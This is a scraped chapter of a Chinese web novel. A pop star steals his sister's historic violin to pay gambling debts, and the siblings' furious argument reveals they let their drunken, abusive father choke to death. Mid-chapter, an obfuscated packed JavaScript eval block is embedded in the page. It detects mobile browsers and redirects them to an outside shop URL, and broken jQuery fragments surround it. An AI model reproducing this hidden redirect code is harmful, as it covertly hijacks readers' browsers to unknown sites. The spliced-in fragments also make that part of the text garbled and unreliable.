默认冷灰
24号文字
方正启体

33. 她的失去

作者:萧瑁本书字数:K更新时间:
    面对她的质问,泽森一时没有回答。


    虞姿近乎绝望地催促他:“你说话呀,哥哥!快说呀!我的琴到底哪里去了?”


    看着屏幕里虞姿愤怒的神情与红彤彤的眼眶,半晌,泽森低声承认:“是我拿走了。”


    “为什么?!”


    泽森强自辩解:“因为我们商量好了。你忘了?跨年夜那天,我和你说过、”


    虞姿急躁地打断了他:“对,你和我说过,你想尽快过来拿琴、然后把琴送走、送到一个安全的地方。”


    “对啊,你不是答应了吗?”


    “那你也不能就这样,都不和我说一声就把琴拿走!你知道那把琴对我有多重要、你知道的!至少提前告诉我一声呀!为什么都不通知我、就偷偷拿走了?为什么?!——而且我们根本没商量好究竟要把琴送到哪儿!”


    说着,虞姿哭了起来。


    泽森安慰她:“爱宝,别哭呀。”


    虞姿抽噎着说:“我爱哭就哭、你少管我!——你就说,你到底把琴送到哪里去了!”


    “送到了一个很安全的地方,我们早说好了的啊。”


    “那是哪儿?”


    泽森不说话了。


    虞姿几乎是在尖叫了:“那个很安全的地方是哪儿,你说啊!”


    “...”


    “赵泽森,你说话!”


    “别叫我赵泽森!”


    泽森强装出来的那副轻松态度,终于消失了。


    他恨赵泽森这个名字——他恨‘赵’这个姓氏,这个属于他父亲的姓氏。


    他恶狠狠地瞪着虞姿:“别再叫我赵泽森了!”


    虞姿也恶狠狠地瞪着他:“那我的琴呢、在哪里,你倒是说啊!”


    “...”


    “总不可能是你把琴拿走、留给你自己用了吧,你又不会拉小提琴!——你说话呀,赵泽森!”


    被虞姿这样逼问,好一会儿,泽森终于开口了:“...好吧。我把琴送到沙国了。”


    一瞬间,虞姿怀疑自己听错了:“什么?哪儿?你把琴送到哪儿了?”


    “沙国。琴现在在沙国。”


    “沙国?为什么在沙国?!”


    “因为我...我把琴送给沙国王室了。”


    足足过了十几秒,虞姿才反应过来,泽森这句话究竟是什么意思。


    她几乎瘫倒在地上。


    泽森把琴送给沙国王室了...


    如果说,片刻以前,虞姿还心怀侥幸,期望这是泽森和她开的一个太恶劣的玩笑,那么【沙国王室】这几个字,就彻底打碎了她的幻想。


    ——这把小提琴的名字,叫做【伊莎贝拉二世】。


    这是第十五任沙国女王的名字。


    正因为它曾是这位沙国女王最心爱的琴,它才被命名为【伊莎贝拉二世】。


    多年来,它一直被收藏在沙国王宫中,1965年后才因意外流落在外。


    两年多前,失踪已久的它、重新出现在拍卖行里,沙国王室于是和众多珍品乐器爱好者展开了激烈的竞拍。


    很可惜,沙国王室遗憾落败。


    是叶明来以超过三亿华元的天价,将这把小提琴收入囊中,珍藏在派达龙乐器行里,等待一位有缘分的演奏者申请它的使用权。


    而没能拍到小提琴的沙国王室,一边向叶明来施压,一边提出了一亿华元的悬赏,希望有人能通过一些手段、从派达龙乐器行里搞到那把小提琴、送回沙国。


    一亿华元的赏金。


    仅仅是当时拍卖行成交价的三分之一。


    可对任何有心人来说,一亿华元绝对是一笔巨款了。


    钱。


    钱啊...


    一切归根到底,总是为了钱。


    泽森把琴送回沙国,也是为了这一亿华元的赏金吗?


    虞姿眼睛痛得快要流出血来。


    她质问他:“把琴送给沙国王室,是为了钱吗,泽森?”


    泽森心虚地避开她的视线,开始说一些废话:“那把小提琴不是叫【伊莎贝拉二世】吗,那是沙国女王的名字,证明它是沙国女王的琴,按年份来算,它都是沙国的文物了,本来就应该把它送回沙国。人人都有义务帮忙归还国宝...”


    虞姿气得浑身发抖:“你说这些话,不觉得自己可笑吗!”


    强烈的愤怒,让她恨不得把手伸进屏幕里,掐住泽森的脖子。


    她想要死死地掐住他、把他的脖子掐住血来。


    她想要把他掐得面孔发紫、不能呼吸。


    然后她想要剖开他的胸膛,看看里面到底有没有心。


    全世界唯独他知道,那把小提琴对她的意义;


    唯独他知道,为了得到琴,她付出了多少时间和精力,忍耐了多少轻蔑与侮辱;


    全世界也唯独他,把她的琴送走了!


    她的琴...


    妈妈的琴!


    她千辛万苦才得到的琴,还没来得及珍惜地再次将它奏响,它就又离开了她,回到了沙国王室手里。


    虞姿嘶哑地问:“我不明白,你为什么、要这么做?为什么?!就是为了钱吗?你、你明知道琴对我有多重要!你就那么爱钱、你就那么缺钱吗?!”


    泽森自嘲地笑了:“是啊,我就那么缺钱。”


    虞姿歇斯底里地喊叫起来:“开什么玩笑!你缺钱、开什么玩笑!去年一年,你就接了多少代言,你还出了一张迷你专辑,你还开了巡演,你还上了那么多综艺!你赚的钱,早就有好几个七位数了吧,那还不够吗?要多少才算够?你到底、”


    泽森长长地叹了口气。


    他说:“爱宝呀。——哥哥最近投资失败,亏了一点钱,还不上了...”


    虞姿愤怒的喊叫骤然停住了。


    啊...


    他投资失败,亏了一点钱,还不上了...


    这一刻,太多想法在虞姿脑海中闪过。


    她怔怔地盯着手机屏幕上的泽森。


    ——他到底是投资亏了一点钱,还是,他做了别的什么、才欠了亿点钱呢?


    虞姿之前可没听说过,泽森有什么投资产业的意向。


    她倒是在泽森的行程路透里,许多次看到,赌城陆斯这一站。


    最近这一年,追泽森的站姐、以及一些私生粉,花钱买来的泽森私人行程中,常常有泽森飞赌城陆斯的记录。


    虞姿不明白他为什么要去赌城陆斯。


    她问过他,到底怎么回事。


    泽森表现得很受冒犯。


    泽森说,他当然不是去那儿赌博的。


    他只是为了新专辑、去赌城陆斯采风。


    他还对虞姿发火,骂她怎么敢听到点风吹草动就胡思乱想,她怎么敢把他想象成他们爸爸那种人!他泽森、绝对不会像他们爸爸那样,赌博成瘾、酗酒家暴!


    要知道,他们都被那个混账王八蛋爸爸打过,他们都痛恨那样的烂人。


    泽森甚至赌咒发誓,说他宁愿死、也不会变成那样!


    虞姿相信了他。


    哪怕后来在八卦博主那里多次看到泽森的瓜,虞姿也不以为然。


    什么泽森好像染上了赌瘾啊;


    泽森好像在赌城陆斯的好几个大赌场里都欠了钱啊;


    泽森去年发的那张质量很差的迷你专辑、连轴转开的巡回演唱会、接的那几个烂得一塌糊涂的综艺节目,其实都是为了捞钱去还赌债啊...


    虞姿不信!


    肯定是有人故意抹黑他!


    然而,现在...


    现实像一桶彻骨的冰水,对着虞姿当头浇下。


    同时,她的胃里又燃烧起熊熊的怒火。


    虞姿咬牙切齿地瞪着泽森,问:“赵泽森,你说实话,你是怎么亏的钱?”


    “我......”


    “说啊!”


    “...没怎么,就是、就是我眼光不好,投资亏了点小钱,手头有点紧,周转不过来了。”


    “呵呵。亏了点小钱。要用【伊莎贝拉二世】小提琴一亿华元赏金去还的小钱。”


    泽森垂下眼睛,脸上隐约闪过一丝羞惭。


    随后,他耸耸肩,承认说:“好吧,我是欠了不少钱。”


    “多少?”


    “七千多万吧。”


    虞姿一阵头晕:“七千多万!我的天啊、七千多万!你、——你怎么欠这么多的?你干什么了?!”


    泽森避而不答:“怎么欠的、那重要吗?不管怎么欠的,我都得还上,我要是还不上、那、”


    “什么叫不管怎么欠的?!正常人会欠那么多钱吗?你又不做生意,又没有公司倒闭,你还能干什么、才搞到一年里就欠了那么多钱?!”


    “我、”


    “足足七千多万呀!——你之前去赌城陆斯,到底是去干什么了?”


    “...我没干什么...”


    “你都把我的琴拿走还你的债了,都这样了,你还不说你干什么了!赵泽森,你还是人吗?!”


    ‘赵泽森’这三个字,再度激起了泽森的反应。


    他怒不可遏地冲她喊:“都说了别叫我赵泽森!”


    虞姿比他的声音还大。


    她开始像个疯子那样对着手机屏幕大喊大叫:“我就叫我就叫我就叫!——因为你就是姓赵、你就是他的儿子!你就是你爸爸的好儿子!”


    “闭嘴!”


    “赵泽森,你欠这么多钱,是去赌了吧?!”


    “你闭嘴!”


    “你去那么多次赌城陆斯,就是和你爸爸一样、去赌了吧!我真想不到,你会和你爸爸一样、”


    “——我和他才不一样!你别再拿我和他比了!而且那也是你爸爸,他也是你爸爸!别说得好像你比我、”


    “我之前问你去赌城陆斯干什么,你还对我赌咒发誓、说你只是为了新歌去采风、你、”


    “我就是去采风!我后来不是出了一张专辑吗!”


    “就那个质量特别差的迷你专辑?!你还好意思说?赵泽森,你这个懦夫,你就不承认你到底干什么了、是吧!”


    “我有什么好承认的!”


    “承认你怎么欠的钱!”


    “我说了、我投资失败了。我真是投资失败了!”


    “你敢用你妈妈的名义发誓吗?!”


    “...”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165811|196711||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    虞姿逼问他:“赵泽森,你敢对着你妈妈发誓,说你欠钱不是因为去赌,说你之前没有去赌、以后也不会去赌。你敢说吗?——你说啊!”


    泽森整张脸涨得赤红,却一声不吭。


    果然,提起他的妈妈,他就说不出话了。


    他没办法用他妈妈的名义撒谎。


    就像虞姿没办法用她妈妈的名义撒谎一样。


    尤其是,泽森的妈妈,正是被他们那个赌博酗酒的父亲,家暴致死的。


    泽森明明亲眼看到了一切...


    就这样,他还要走上父亲的老路吗?


    虞姿心脏好似被挖掉一块:“你就是赌了。你就是赌了!你还欠了那么多钱!我的天啊、赵泽森、你这个王八蛋!”


    “...”


    “你怎么能烂成这样、你怎么能干出这种事来!你这样、你、你对得起你妈妈吗?”


    “...别再说我妈妈了!”


    “——你有本事去赌,你有本事去你妈妈墓上,你去告诉她,你去赌了啊!”


    “虞爱宝你闭嘴!你别、”


    “你去告诉你妈妈,你欠了好多赌债,你还从我这里把琴偷走、去还你欠的钱!你去告诉她、你变得和你那个混账爸爸一样了!你去说啊!”


    “我让你别再说我妈妈了!


    “我就说我就说!你就是对不起你妈妈,因为你变得和你爸爸一样了、你那个把你妈妈打死了的人渣爸爸——”


    “闭嘴!虞爱宝你闭嘴、闭嘴啊!你不配说我妈妈!”


    “我不配、”


    “对、你不配!你没有资格说我妈妈!”


    “我没资格?!”


    愤怒令虞姿耳边嗡嗡作响,她仿佛听不清楚声音。


    偏偏,接下来泽森说的话,又极具穿透力地扎进她耳朵里。


    扎进她心里。


    泽森吼叫着说:“虞爱宝,你说我对不起我妈妈、你凭什么!你就对得起你的妈妈了,啊?——你的妈妈、不就是你害死的吗?!你有什么资格说我不好!”


    虞姿尖叫:“赵泽森你住嘴!”


    “你害得你妈妈出了车祸!你害死她的!那把琴也是你自己当掉的!所有这些都是你自作自受,你凭什么说我?!”


    “闭嘴啊!”


    虞姿尖叫着把手机扔了出去。


    手机重重地撞在不远处的不锈钢货架上、又摔在地上。


    泽森的声音,仍然从手机扬声器里传出来:“虞爱宝,你根本不配说我!你以为你比我好到哪里去?!你不仅害死了你妈妈,爸爸也是你害死的!”


    虞姿捂住耳朵,不想听下去:“爸爸、爸爸他——他自己喝多了呛死的!他自己!和我有什么关系!”


    “他呛住的时候,是你拉住了我的手、不让我过去帮忙!我本来想、我本来、本来能叫救护车来救他的!”


    “我没拉你的手!是你拉住了我的手、是你不让我动!”


    “是你!”


    “是你!赵泽森,是你!”


    “不是我!是你!虞爱宝、是你害的、都是你害的!全都是你的错!——如果你从来没有回来过、”


    “和我没关系啊!你别说了、别说了!你以为我很想回去吗!”


    虞姿和泽森隔着手机,歇斯底里地互相尖叫。


    互相推卸责任。


    如果此刻他们是面对面、能碰到对方。


    可能虞姿会一边尖叫一边狠狠掐住泽森的胳膊,直到指甲陷进他的肉里。


    她会拼命地踢他、咬他。


    泽森则会扼住她的脖子,或者拽着她的头发,把她往墙上撞。


    他们太多次这样争吵了。


    因为他们谁也无法背负一条性命所带来的罪恶感。


    不过,十几岁时,在他们爸爸去世的那天。


    一切并没有这么激烈。


    那天深夜,他们只是手拉着手,默默地站在客厅里,注视着他们醉酒的爸爸,逐渐被呕吐物呛死。


    那短暂又漫长的几分钟里...


    他们随时都可以上去把爸爸扶起来,帮助他把卡在喉咙里的东西吐出来。


    或者跑出去叫人。


    或者打急救电话。


    但他们什么也没有做。


    他们只是看着。


    那时,到底是泽森拉住了虞姿的手,让她不要过去帮忙?


    还是虞姿拉住了泽森的手,让他站在原地别动?


    已经说不清了。


    虞姿只记得当时泽森拉住她的手的感觉。


    很奇怪,即使在那时,泽森的手也是温暖的。


    他的手心里,连一滴冷汗也没有。


    多么令人安心。


    同时又冰冷、恶毒、残忍无情。


    ——她和泽森的关系,那种看起来过于亲近的表现,根本不是叶明来的嫉妒心所想象、所误会的那种‘亲近’。


    而另一种、只有共犯才有的,黑暗而扭曲的联系。


    在父亲的死亡上,他们是共犯。


    在偷窃小提琴上,他们也是共犯了。


    ...如果她和泽森从来就没有任何关系就好了...
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)